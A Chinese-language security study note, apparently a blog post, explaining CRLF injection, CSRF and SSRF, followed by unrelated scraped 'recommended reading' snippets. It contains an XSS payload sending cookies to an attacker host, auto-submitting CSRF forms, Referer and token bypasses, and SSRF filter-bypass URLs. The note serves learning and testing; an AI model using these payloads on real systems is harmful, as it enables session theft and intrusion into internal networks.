CRLF、CSRF、SSRF 攻击和利用
前言
本文叙述了crlf、csrf和ssrf的原理、攻击利用和一些绕过方法,作为个人笔记,内容可能不全面,日后有接触新的方法会更新。
CRLF
原理
这个漏洞名词来源于打印机,在计算机中表示一行的结束:
回车=CR=\r=%0d=Ascii(13)=Ascii_16(0D) 换行=LF=\n=%0aAscii(10)=Ascii_16(0A)
在不同操作系统中表示行结束的方法也不相同:
Windows:CRLF Linux/Unix:LF Mac:老版本用CR,新版用LF
在http头的规范中是以CRLF表示一行的结束,因此无论是请求头还是响应头,每行的末尾都有一个\r\n
。
GET http://example.com/skipto?u=http://other.com HTTP/1.1\r\n
Host:example.com\r\n
User-Agent:Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0\r\n
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n
Accept-Encoding:gzip, deflate, br\r\n
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n
Connection:keep-alive\r\n
上面代码是一个普通的页面跳转请求头,我们很容易发现u
的值是用户可控的,正常运行的话返回的会是第2页的内容,那么现在重新发送请求,将请求截下来,把u=http://other.com
改成u=http://other.com\r\nSetCookie:crlf
再提交,假如服务器没有对u
参数进行检查并过滤,在响应头中直接将用户输入拼接到Location的值里面,响应头就会变成像下面那样的代码:
HTTP/1.1 302 Found\r\n
Date: Sun, 08 Aug 2021 07:01:25 GMT\r\n
Location:http://other.com\r\n
SetCookie:crlf\r\n
Content-Length:0\r\n
Content-Type: text/html; charset=utf-8\r\n
Connection: keep-alive\r\n
在拼接http响应头的过程中,服务器检测到\r\n
的时候会按照http规范认为已经到达一行的末尾,后面的数据输出到下一行。在对文件进行io读写的时候也经常会以\r\n
或者\n
作为判断行末尾的依据,后面的数据换行后再输出,这两个的原理是一样的。
CRLF这种攻击本质和sql注入、xss一样,都是由于没有对用户输入进行完全检查与过滤导致的漏洞,区别在于sql注入作用在数据库,xss的效果体现在网页主体,clrf则会将恶意代码输出在响应头中。
攻击&利用
这种漏洞属于客户端漏洞,经常会出现在有重定向或者页面跳转的地方。攻击的方法很简单,观察输入是否在响应头中,然后提交\r\n
,记得编码,查看服务器是否响应,最后一步根据需要将漏洞转换成会话固定、xss等。
至于利用的方式,大致有以下几种:
会话固定
上面的例子就是一个典型的会话固定,通过插入请求头的方式实现给访问者设置一个session,当然除了cookie也能插入其他请求头。
#部分请求头:
GET http://example.com/skipto?u=http://other.com\r\nSet-Cookie:mycookie HTTP/1.1\r\n
...
#对应的响应头:
HTTP/1.1 302 Found\r\n
Location:http://other.com\r\n
SetCookie:mycookie\r\n
...
xss
在http规范中,响应头和正文之间是用两个CRLF进行区分的,也就是\r\n\r\n
,我们可以利用这个特性往正文里写入xss:
#部分请求头
GET http://example.com/skipto?u=\r\n<img src=x onerror="http://myc2.com/getcookie?c="+encodeURI(document.cookie);> HTTP/1.1\r\n
...
#对应的响应头,利用xss直接将cookie发送到攻击者的服务器
HTTP/1.1 302 Found\r\n
Location:\r\n
<img src=x onerror="http://myc2.com/getcookie?c="+encodeURI(document.cookie);>
缓存中毒 这种攻击方式需要服务端有CDN、负载均衡或者反向代理等缓存设备。利用方式如下:
#直接在请求头中插入X-Forwarded-Host,观察响应包中是否有回显
GET http://example.com/skipto?u=\r\nX-Forwarded-Host:http://fishing.com HTTP/1.1\r\n
...
另一个名字相近但完全不同的攻击方式叫缓存欺骗,利用前要满足下列条件:
Web缓存功能设置为通过URL的扩展名来判断是否进行缓存文件,且忽略任何缓存头;
当访问一个不存在资源时返回一个页面而不是显示页面不存在;
诱使访问URL时,受害者必须已经通过身份验证;
其攻击的过程如下:
通过钓鱼/xss等方法诱使已经登录的用户访问攻击者服务器上的一个资源(hack.com/attack/1.pn… 请求到达代理/CDN,代理不熟悉这个文件,于是向web服务器发起请求; web服务器返回受害者的用户页面内容和200状态码,这里对应了上面第二点和第三点条件,没有返回页面不存在并且是用户已登录状态; 缓存机制收到响应同时发现url以资源文件扩展名(.png)结尾,并且由于缓存机制忽略响应头,这个资源会被保存在新建的attack目录下,被缓存的文件名为1.png,这里对应了第一个条件; 然后受害者接收到他的账户页面; 攻击者访问hack.com/attack/1.pn…
绕过
对于CRLF来讲核心就是\r\n
,服务器防止CRLF大部分也是通过过滤器限制这两个字符,绕过的方法大致有以下几种:
url单/双层编码; 更改http版本到1.0,不发送Host头,并将请求分片构建特殊请求; 将\r\n转换成ascii码;
另外在发送给客户端xss语句的时候可能会被浏览器过滤掉,这个时候只需要在前面再插入一个请求头X-XSS-Protection:0
即可绕过。
CSRF
原理
CSRF的中文翻译叫跨站请求伪造,和XSS利用方式有点像,但是XSS利用的是站点内信任的用户,而CSRF是通过伪装成被信任的用户请求受信任网站。攻击原理如图:
由此可以看出来,要利用这个漏洞必须满足下面两个条件:
登录存在漏洞的网站,并在本地生成cookie;
在不登出的情况下访问攻击者的服务器;
攻击&利用
这种漏洞会出现在用户操作中的增、删、改功能的位置,比如用户修改密码的地方,如果网站在上述三种功能中没有用到Referer/Token技术,那么肯定存在csrf,如果存在,可以绕过,那也一样有漏洞。类型分为GET、POST两种,他们攻击方式的区别就是GET型只需要构造url,然后诱导受害者访问即可,POST型则要构造自动提交的表单,再诱导受害者访问。 整个攻击流程如下:
制作伪装页面->诱导用户访问->触发非法操作
不管是哪种类型,漏洞利用的核心就是根据需要构造页面,然后诱导受害者点击,可以通过钓鱼,也可以利用xss等。 GET
<html>
<head>
<title>404 not found</title>
</head>
<body onload="构造csrf请求">
404 not found
</body>
</html>
POST post模式通常是构造一个自动提交的隐藏表单:
<html>
<head>
<title>404 not found</title>
</head>
<body>
404 not found
<form action="" method=POST>
<input type="hidden" name="a" value="参数1">
<input type="hidden" name="b" value="参数2">
</form>
</body>
<script>
document.forms[0].submit();
</script>
</html>
绕过
对于CSRF的保护通常是使用Referer和Token,因此为了达到攻击的目的,这两种防护措施就是需要绕过的对象。 Referer 1.利用伪协议:http://、https://、ftp://、file://、data:、javascript:,这时候referer置空就能绕过了。
<iframe src="data:text/html;...">
2.在html页面中通过meta将Referer置空:
<meta name="referer" content="never">
3.观察Referer验证的是哪个域名,是否存在指定的域名关键词,验证方式是不是只验证开头,绕过方式分别如下:
验证格式为*.xxx.com:在域名前面增加子域名绕过; 验证包含关键词为xxx.com:新建网站目录名字为xxx.com,作为csrf文件的存放目录; 验证开头格式xxx.com:新建域名为xxx.com.hack.com的web服务器作为csrf载体;
Token 1.完全删除token,适用于账户删除功能,因为很多删除用户的功能中几乎不认证token; 2.token解码,通过识别算法破解,然后按规律改变值再进行加密编码,这种适用于算法简单的token; 3.一般token由静态、动态两部分组成,有时候只用静态部分就可以通过检测。
SSRF
原理
SSRF的意思是服务端请求伪造,如字面意思,就是攻击者构造的由服务器发起请求的一种漏洞。而服务端能够访问外界访问不到的内网,因此可以利用这个特性来攻击部署在内网的脆弱中间件以及其他服务。其原理如下图:
攻击&利用
可能会出现SSRF的地方有:
分享功能 收藏功能 网站采集功能 其他一些要调用url的功能 页面优化转码 在线翻译 图片加载/下载 云服务厂商 内置数据库(redis、mongodb) 邮件系统 对数据进行在线处理的地方 从远程服务器获取资源 未公开的API
可以通过下列url关键字查找:
share wap url link src source target u display sourceurl imageurl domain
漏洞挖掘的时候通过排除法判断,一种情况是直接回显,另一种情况则是跟其他地方相比发生变化(类似sql布尔盲注):
http://example.com/service?image=http://www.baidu.com/img/bd_logo.png
#像这种的新窗口打开链接,如果地址栏显示http://www.baidu.com/img/bd_logo.png,则不存在漏洞;
或者抓包分析请求是否由服务器发起,ssrf是服务器发起的请求,在测试接口的时候本地浏览器不应该发起请求,这一点通过抓包可以体现出来。
在漏洞利用方面,对外可以通过SSRF访问其他网址,对内可以扫描内网做信息收集,用其他协议请求敏感文件,能够通过请求攻击内网应用,也可以进行DOS攻击,具体做法是请求大文件,并始终keep-alive。
绕过
一般在服务端会对请求地址做限制,过滤ip的流程可能如下图:
因此就有了下面几种绕过方法:
攻击本地:
http://127.0.0.1:80
http://localhost:80
http://0.0.0.0:80
http://[::]:80
利用@:
http://example.coom@127.0.0.1
使用短网址:
https://dwz.cn/
利用DNS解析服务:
http://127.0.0.1.xip.io
#会重定向到127.0.0.1
利用DNS重绑攻击:
前置条件:需要一个域名,并且将其解析指定到攻击者搭建的dns,设置TTL=0。
攻击过程:
1.服务端获取到url,进行第一次解析,获取一个外网ip;
2.对这个ip进行判断,通过验证;
3.服务端再次访问这个url,由于TTL=0,需要再次进行dns解析,这次解析返回内网地址;
4.验证已经绕过,服务端发送请求,返回的是内网资源。
文件上传处:
type=file -> type=url
比如在上传图片的地方,将图片换成url,就可能触发漏洞。
特殊标识符(Enclosed alphanumerics):
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
句号替换点号:
http://127.0.0.1 -> http://127。0。0。1
进制转换(十六、十、八、二):
http://127.0.0.1 -> http://2130706433/
利用特殊地址:
http://0/
更换协议:
dict://127.0.0.1:22
sftp://example.com:21111
tftp://example.com:21111
ladp://0.0.0.0:11211/%0astats%0aquit
gopher://...
file://...
推荐阅读
-
前端面试问题 83|内联块和内联元素的区别,watch,computed,a tag,security,xss,csrf网站攻击,webpackvite,...
-
介绍和预防 CRLF 注入攻击
-
CRLF、CSRF、SSRF 攻击和利用
-
HTTP 响应分割攻击(CRLF 注入和 HRS)
-
介绍 CRLF 攻击的原理和使用方法
-
基于 NFC 的无线电池管理 BMS - ● 主动读取内部传感器:利用 NFC 技术,BMS 能够主动读取内部传感器的数据 [... 考虑车辆外使用案例中的空闲状态场景:NFC 技术可用于处理闲置状态下的电池组读取,例如在第二次生命转移期间进行存储。 主动诊断读取:在邻近系统中部署了 BMS 的情况下,使用 NFC 技术进行主动诊断读取。 (ii) 系统结构 系统架构如图所示,在建立安全通道之前,需要对设备进行身份验证。数据链路通信层由 NDEF 记录处理,而数据存储可以是离线的,也可以是数据库中的在线存储。活动和空闲状态的诊断读数取决于设备和数据方向,需要与外部 NFC 阅读器进行通信。软件架构分为三层,包括硬件抽象层(HAL)、中间层(中间件)和应用层。HAL 处理硬件驱动组件,中间件执行设备验证,而应用层则由开发人员根据安全漏洞和格式扩展*定义。 为确保安全,系统采用了一个安全模型,为 BMS 和主动诊断读取情况格式化应用数据。安全考虑因素包括设备相互验证、使用安全通道(加密和防篡改)以及确保电池组内读数的安全。 考虑到不同的 BMS 拓扑,包括集中式、调制式、分布式和分散式,系统需要满足设备相互验证和使用安全通道的要求。对于每种拓扑结构,都必须考虑将性能开销降至最低。电池是封闭的,对其进行物理攻击不可行或成本太高。外部攻击可能也很困难。基于对称或非对称加密技术的自动验证可用于保护电池组读数。安全协议在验证阶段和会话密钥确认阶段采用双密钥加密,以抵御攻击。中间件在数据格式验证、确认和处理中发挥关键作用,确保数据传输安全。 (iii) 唤醒模型设计
-
澎湃新闻对话腾讯丁珂:从 "治已病 "到 "治未病",企业需快速构建 "安全免疫力"--丁珂指出,对企业而言,安全不是成本而是生命线 丁珂指出,对企业而言,安全不是成本而是生命线,也是商业 "硬币 "的另一面。在数字智能化的新阶段,发展驱动安全建设已成为普遍共识,企业需要转变安全思维,从被动建设到主动防御,构建一套新的安全范式和框架,以更加积极、主动的安全观来提升数字安全免疫力,以 "治未病 "的理念取代 "治已病",前置安全,快速构建 "安全免疫力"。对 "已病",前置预判,及时应对处置安全风险,才能维护品牌价值,保障健康发展。 与此同时,安全建设还普遍存在 "不知道往哪投、怎么投 "的痛点。对此,腾讯安全提出,企业可以按照数字安全免疫模型的框架进行安全全局部署,重点在业务安全、数据安全、安全运维管理、边界安全、终端安全、应用开发安全等薄弱环节的关键领域注入 "免疫增强针"。 今年进入公众视野的AIGC还在产业化、产品化的过程中,但大量攻击者已经利用它生成攻击脚本、钓鱼邮件,甚至伪造身份进行诈骗。"人工智能本身是否安全,会不会让网络更不安全? 腾讯安全研究认为,AIGC的风险主要集中在 "无法解释 "和 "无法追踪 "的特点上,但这在技术上是能够找到应对方法的。丁珂谈到,AIGC作为生产力的巨大提升,确实会带来更复杂的攻防态势和更大的防御难度。但任何新技术都要经历这样的周期。而法律法规也会随着技术的演进而不断更新,使新技术的发展更加规范和健全。 丁珂认为,随着我国网络安全法律法规体系的不断完善,合规性将给企业推进网络安全带来很大的推动力,并很直观地展现在需求端。未来,伴随着数据要素市场的建立或企业对数据价值的挖掘,也将带动数据安全市场的快速增长。 对于腾讯安全的商业逻辑和运营,丁珂表示,不谋求建立竞争壁垒,而是期望与生态共同发展,腾讯安全希望通过能力开放,实现安全与业务相伴的生态模式。 谈到未来,丁磊表示,安全领域已经进入加速发展期,在蓝海中会持续关注很多新的业务领域,希望孵化出新的商业模式,腾讯安全团队也会持续关注并抓住机会做好产品。 以下为采访实录(在不改变原意的基础上略有删减): 冲浪新闻:当前,以人工智能、大数据等新技术为驱动的第四次工业革命正向纵深推进,给人类生产生活带来深刻变革。而互联网作为新技术的载体,面临的安全挑战不仅数量越来越多,形式也越来越复杂。从互联网安全从业者的角度,腾讯观察到近年来国内外网络安全形势发生了哪些变化?这些变化呈现出怎样的趋势?
-
SSRF 漏洞利用和 Getshell 实践
-
SSRF 漏洞利用和 Getshell 实践(精选)
-
金融科技的高效省力秘籍:打造全面连接、全景覆盖、智能化的数字化运营体系" - 当下金融科技运营:挑战与机遇共存的时代解读 在快速发展的数字技术和企业数字化转型的大背景下,中国金融科技产业步入了提质增效的新阶段。面对市场的起伏变革与不确定性,金融机构需积极拥抱创新,灵活运用新技术,确保在竞争激烈的市场环境中稳固立足。 - 面临的双重考验: 1. 技术迭代压力:持续跟进行业内的科技革新,掌握新兴工具和平台,时刻应对瞬息万变的市场需求是金融科技运营的一大挑战。 2. 安全与隐私挑战:伴随着网络安全风险加剧和数据泄漏频发,如何强化信息安全体系、防范攻击、维护客户资金及隐私安全显得尤为重要。同时,伴随金融科技公司崛起,个人隐私权保障愈发关键。 - 喜人的发展空间: 1. 提升运营效益与降低成本:借助数字化技术,实现流程自动化、信息整合以及数据分析等,有效提升工作效能并缩减运营成本。 2. 扩大市场份额与增收途径:利用数字化手段拓宽销售渠道,优化用户体验,吸引更多用户并带动收入增长。 3. 加强客户联系与提升满意度:通过数字化科技运营,企业能更好地与客户互动沟通,增强客户信任感与忠诚度。 - 构建金融科技降本增效的核心驱动力:实施“全感知、全链接、全场景、智能”的科技运营体系升级路径